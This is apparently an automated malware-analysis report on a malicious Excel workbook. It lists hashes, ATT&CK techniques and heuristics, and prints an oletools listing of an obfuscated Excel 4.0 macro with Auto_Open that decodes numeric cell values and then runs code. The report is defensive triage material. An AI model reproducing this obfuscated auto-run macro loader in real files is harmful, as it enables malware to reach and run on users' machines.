Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd411d6938002776…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:58 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: b6ee30cfa1d23aa024830b696e395843 SHA-1: ad72ba11045f9f0913d43bf8e561fbf92e4b7fc2 SHA-256: bd411d693800277644cd3cc29e61a605fea9713e35bb7a48a155a22975ca247d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code. While the exact payload is not visible, the technique strongly implies an attempt to download and execute a second-stage malicious file.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6646 bytes
SHA-256: 8941215443c3db91e046de1d714527a54fd43ae4b5918a21206821a0c142b3ca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'kAZlstHLEQvm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QOhG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B138 
' 0018     26 LABEL : Cell Value, String Constant - bBJJZepQiym len=0 
' 0018     26 LABEL : Cell Value, String Constant - cOBlSTHbnQs len=0 
' 0018     23 LABEL : Cell Value, String Constant - DTmXCyeb len=0 
' 0018     25 LABEL : Cell Value, String Constant - eaUJtDfTNL len=0 
' 0018     24 LABEL : Cell Value, String Constant - EhYuiozsZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - epCAOulCtF len=0 
' 0018     24 LABEL : Cell Value, String Constant - EwqcyLVSh len=0 
' 0018     21 LABEL : Cell Value, String Constant - fdUNzS len=0 
' 0018     20 LABEL : Cell Value, String Constant - FrLop len=0 
' 0018     27 LABEL : Cell Value, String Constant - jDitNfeDkKUH len=0 
' 0018     27 LABEL : Cell Value, String Constant - JPYOvFyTIYdD len=0 
' 0018     27 LABEL : Cell Value, String Constant - kAZlstHLEQvm len=0 
' 0018     26 LABEL : Cell Value, String Constant - MiCAFgTnaaQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - nuemZgmpnD len=0 
' 0018     26 LABEL : Cell Value, String Constant - qRCBApGqDTx len=0 
' 0018     24 LABEL : Cell Value, String Constant - rbvOZbiDr len=0 
' 0018     24 LABEL : Cell Value, String Constant - uRSxGyqdw len=0 
' 0018     26 LABEL : Cell Value, String Constant - vntlaGoNWgc len=0 
' 0018     21 LABEL : Cell Value, String Constant - XOFzHP len=0 
' 0018     22 LABEL : Cell Value, String Constant - yXoUBGd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QOhG,B44,"SET.NAME("epCAOulCtF",0+VALUE("0"))",""
'  QOhG,S44,"",-63.00000000000000000000
'  QOhG,S45,"",-463.00000000000000000000
'  QOhG,S46,"",812.00000000000000000000
'  QOhG,S47,"",-165.00000000000000000000
'  QOhG,B48,"SET.NAME("eaUJtDfTNL",epCAOulCtF)",""
'  QOhG,S48,"",-899.00000000000000000000
'  QOhG,S49,"",-888.00000000000000000000
'  QOhG,B51,"SET.NAME("DTmXCyeb",epCAOulCtF)",""
'  QOhG,B53,"SET.NAME("fdUNzS",COUNTA(jDitNfeDkKUH))",""
'  QOhG,B57,"SET.NAME("cOBlSTHbnQs",COUNTA(bBJJZepQiym))",""
'  QOhG,B62,[],""
'  QOhG,B64,"SET.NAME("EhYuiozsZ","")",""
'  QOhG,B69,"eaUJtDfTNL",""
'  QOhG,B73,"SET.NAME("rbvOZbiDr",HLOOKUP("*",jDitNfeDkKUH,eaUJtDfTNL,FALSE))",""
'  QOhG,B78,"JPYOvFyTIYdD",""
'  QOhG,B82,"SET.NAME("XOFzHP",epCAOulCtF)",""
'  QOhG,B86,[],""
'  QOhG,B89,"XOFzHP",""
'  QOhG,B92,"vntlaGoNWgc",""
'  QOhG,B97,"nuemZgmpnD",""
'  QOhG,B100,"EwqcyLVSh",""
'  QOhG,B102,"SET.NAME("kAZlstHLEQvm",VALUE(HLOOKUP("*",bBJJZepQiym,EwqcyLVSh,FALSE)))",""
'  QOhG,B105,"yXoUBGd",""
'  QOhG,B108,"EhYuiozsZ",""
'  QOhG,B112,"DTmXCyeb",""
'  QOhG,B114,NEXT(),""
'  QOhG,B118,"FrLop",""
'  QOhG,B122,[],""
'  QOhG,B127,"qRCBApGqDTx",""
'  QOhG,B131,NEXT(),""
'  QOhG,B133,RETURN(),""
'  QOhG,B163,"SET.NAME("MiCAFgTnaaQ",B44)",""
'  QOhG,B168,"jDitNfeDkKUH",""
'  QOhG,B173,"SET.NAME("bBJJZepQiym",R47C11)",""
'  QOhG,B178,"SET.NAME("qRCBApGqDTx",183)",""
'  QOhG,B180,"SET.NAME("uRSxGyqdw",2)",""
'  QOhG,B182,MiCAFgTnaaQ(),""
'  QOhG,B183,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.